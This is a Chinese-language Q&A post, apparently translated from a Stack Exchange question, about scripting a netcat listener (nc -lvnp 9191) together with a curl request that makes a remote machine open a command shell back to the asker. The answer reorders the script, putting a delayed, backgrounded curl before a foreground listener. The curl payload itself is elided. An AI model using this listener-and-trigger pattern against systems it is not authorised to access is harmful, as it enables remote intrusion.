![在 Bash 脚本中一起使用 netcat 和 cURL](https://linux22.com/image/139125/%E5%9C%A8%20Bash%20%E8%84%9A%E6%9C%AC%E4%B8%AD%E4%B8%80%E8%B5%B7%E4%BD%BF%E7%94%A8%20netcat%20%E5%92%8C%20cURL.png)
这个问题与信息安全更相关,但我似乎找不到自动化以下过程的解决方法:
有一个 cURL 命令可以触发与 netcat 的连接。如果没有自动化,我输入nc -lvnp 9191
, 并输入其他在终端中,我输入 cURL 命令,该命令会在端口 9191 上建立与我的计算机的连接,然后我可以使用该连接在远程计算机中执行一些命令。
我正在我的 Bash 脚本中尝试这样的事情:
nc -lvnp 9191&
curl ......
Netcat 启动一个侦听器,进入后台,cURL 触发连接(我收到返回的连接),但 netcat 立即关闭。
$ ./shell.sh
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
nc -lvnp 9191&
如果我从 Bash 脚本中删除并仅在 Bash 脚本中保留 cURL 命令,则会发生以下情况:
$ nc -lvnp 9191&
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
cmd>
但是,一旦我按“回车”,netcat 作业就会立即暂停:
[1] + 22609 suspended (tty input) nc -lvnp 9191
我必须fg
恢复网络猫的工作并继续工作,但我想知道是否可以以某种方式将自己从这一切中拯救出来。
答案1
因此,在与某人讨论后,我们终于设法让它发挥作用。我们更改了行位置,因此curl
首先出现(但作为后台作业),然后是netcat
(无背景)。该方法如下所示:
(sleep 2; curl .... &>/dev/null) &
nc -lvnp 9191